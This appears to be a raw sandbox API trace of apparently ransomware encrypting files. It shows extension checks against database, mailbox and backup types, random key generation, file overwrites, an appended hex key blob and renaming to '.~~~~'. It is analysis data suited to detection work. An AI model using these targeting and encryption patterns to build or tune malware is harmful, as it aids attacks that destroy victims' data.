	[0085.711] lstrlenW (lpString=".CKP") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".CKP") returned 0x0
	[0085.711] lstrlenW (lpString=".edb") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".edb") returned 0x0
	[0085.711] lstrlenW (lpString=".PST") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".PST") returned 0x0
	[0085.711] lstrlenW (lpString=".dbf") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".dbf") returned 0x0
	[0085.711] lstrlenW (lpString=".SQL") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".SQL") returned 0x0
	[0085.711] lstrlenW (lpString=".pst") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".pst") returned 0x0
	[0085.711] lstrlenW (lpString=".dbv") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".dbv") returned 0x0
	[0085.711] lstrlenW (lpString=".SDF") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".SDF") returned 0x0
	[0085.711] lstrlenW (lpString=".dtxs") returned 5
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".dtxs") returned 0x0
	[0085.711] lstrlenW (lpString=".db3") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".db3") returned 0x0
	[0085.711] lstrlenW (lpString=".OST") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".OST") returned 0x0
	[0085.711] lstrlenW (lpString=".dbx") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".dbx") returned 0x0
	[0085.711] lstrlenW (lpString=".DB3") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DB3") returned 0x0
	[0085.711] lstrlenW (lpString=".DAT") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DAT") returned 0x0
	[0085.711] lstrlenW (lpString=".VHDX") returned 5
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".VHDX") returned 0x0
	[0085.712] lstrlenW (lpString=".ndf") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".ndf") returned 0x0
	[0085.712] lstrlenW (lpString=".DB") returned 3
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DB") returned 0x0
	[0085.712] lstrlenW (lpString=".sql") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".sql") returned 0x0
	[0085.712] lstrlenW (lpString=".MYD") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".MYD") returned 0x0
	[0085.712] lstrlenW (lpString=".DBT") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DBT") returned 0x0
	[0085.712] lstrlenW (lpString=".ACCDB") returned 6
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".ACCDB") returned 0x0
	[0085.712] lstrlenW (lpString=".fdb") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".fdb") returned 0x0
	[0085.712] lstrlenW (lpString=".bak") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".bak") returned 0x0
	[0085.712] lstrlenW (lpString=".myd") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".myd") returned 0x0
	[0085.712] lstrlenW (lpString=".DTXS") returned 5
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DTXS") returned 0x0
	[0085.712] lstrlenW (lpString=".ckp") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".ckp") returned 0x0
	[0085.712] lstrlenW (lpString=".dbt") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".dbt") returned 0x0
	[0085.712] lstrlenW (lpString=".db") returned 3
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".db") returned 0x0
	[0085.712] lstrlenW (lpString=".TXT") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".TXT") returned 0x0
	[0085.712] lstrlenW (lpString=".MDF") returned 4
	[0085.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".MDF") returned 0x0
	[0085.712] lstrlenW (lpString=".bdb") returned 4
	[0085.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".bdb") returned 0x0
	[0085.713] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.713] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0085.714] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.714] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0085.714] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20570451276) returned 1
	[0085.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ce659b0, dwHighDateTime=0x1d60e1e)) 
	[0085.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6198
	[0085.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6198 | out: hHeap=0x300000) returned 1
	[0085.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab960
	[0085.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab960 | out: hHeap=0x300000) returned 1
	[0085.887] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0085.887] GetLastError () returned 0x0
	[0085.887] GetLastError () returned 0x0
	[0085.888] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0085.888] GetLastError () returned 0x0
	[0085.888] GetLastError () returned 0x0
	[0085.894] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffedfa2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.894] WriteFile (in: hFile=0x128, lpBuffer=0x2875ff0*, nNumberOfBytesToWrite=0x1205e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2875ff0*, lpNumberOfBytesWritten=0x26dfec0*=0x1205e, lpOverlapped=0x0) returned 1
	[0085.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2875ff0 | out: hHeap=0x300000) returned 1
	[0085.894] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.894] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.895] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.895] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.895] CloseHandle (hObject=0x128) returned 1
	[0085.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0085.895] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.~~~~")) returned 1
	[0085.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fa20 | out: hHeap=0x300000) returned 1
	[0085.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.896] GetLastError () returned 0x0
	[0085.896] RtlWakeConditionVariable () returned 0x365f70
	[0085.896] GetCurrentThreadId () returned 0x9cc
	[0085.896] GetCurrentThreadId () returned 0x9cc
	[0085.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0085.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0085.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2c98 | out: hHeap=0x300000) returned 1
	[0085.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0085.897] lstrlenW (lpString=".scr") returned 4
	[0085.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.897] lstrlenW (lpString=".cmd") returned 4
	[0085.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.897] lstrlenW (lpString=".dll") returned 4
	[0085.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.897] lstrlenW (lpString=".bat") returned 4
	[0085.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.897] lstrlenW (lpString=".cpl") returned 4
	[0085.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.897] lstrlenW (lpString=".sys") returned 4
	[0085.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.898] lstrlenW (lpString=".msc") returned 4
	[0085.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.898] lstrlenW (lpString=".com") returned 4
	[0085.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.898] lstrlenW (lpString=".lnk") returned 4
	[0085.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.898] lstrlenW (lpString=".msp") returned 4
	[0085.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.898] lstrlenW (lpString=".pif") returned 4
	[0085.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.898] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0085.953] lstrlenW (lpString=".sqb") returned 4
	[0085.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.953] lstrlenW (lpString=".ost") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.954] lstrlenW (lpString=".txt") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.954] lstrlenW (lpString=".mdt") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.954] lstrlenW (lpString=".BDB") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.954] lstrlenW (lpString=".eql") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.954] lstrlenW (lpString=".DBF") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.954] lstrlenW (lpString=".EQL") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.954] lstrlenW (lpString=".FDB") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.954] lstrlenW (lpString=".EDB") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.954] lstrlenW (lpString=".DACPAC") returned 7
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.954] lstrlenW (lpString=".VHD") returned 4
	[0085.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0085.954] lstrlenW (lpString=".DBV") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.955] lstrlenW (lpString=".dacpac") returned 7
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.955] lstrlenW (lpString=".sdf") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.955] lstrlenW (lpString=".accdb") returned 6
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.955] lstrlenW (lpString=".DBX") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.955] lstrlenW (lpString=".MDT") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.955] lstrlenW (lpString=".SQB") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.955] lstrlenW (lpString=".vhd") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.955] lstrlenW (lpString=".bac") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.955] lstrlenW (lpString=".mdf") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.955] lstrlenW (lpString=".BAK") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.955] lstrlenW (lpString=".BAC") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.955] lstrlenW (lpString=".dbs") returned 4
	[0085.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.955] lstrlenW (lpString=".vhdx") returned 5
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.956] lstrlenW (lpString=".NDF") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.956] lstrlenW (lpString=".dat") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.956] lstrlenW (lpString=".DBS") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.956] lstrlenW (lpString=".CKP") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.956] lstrlenW (lpString=".edb") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.956] lstrlenW (lpString=".PST") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.956] lstrlenW (lpString=".dbf") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.956] lstrlenW (lpString=".SQL") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.956] lstrlenW (lpString=".pst") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.956] lstrlenW (lpString=".dbv") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.956] lstrlenW (lpString=".SDF") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.956] lstrlenW (lpString=".dtxs") returned 5
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.956] lstrlenW (lpString=".db3") returned 4
	[0085.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.956] lstrlenW (lpString=".OST") returned 4
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.957] lstrlenW (lpString=".dbx") returned 4
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.957] lstrlenW (lpString=".DB3") returned 4
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.957] lstrlenW (lpString=".DAT") returned 4
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.957] lstrlenW (lpString=".VHDX") returned 5
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.957] lstrlenW (lpString=".ndf") returned 4
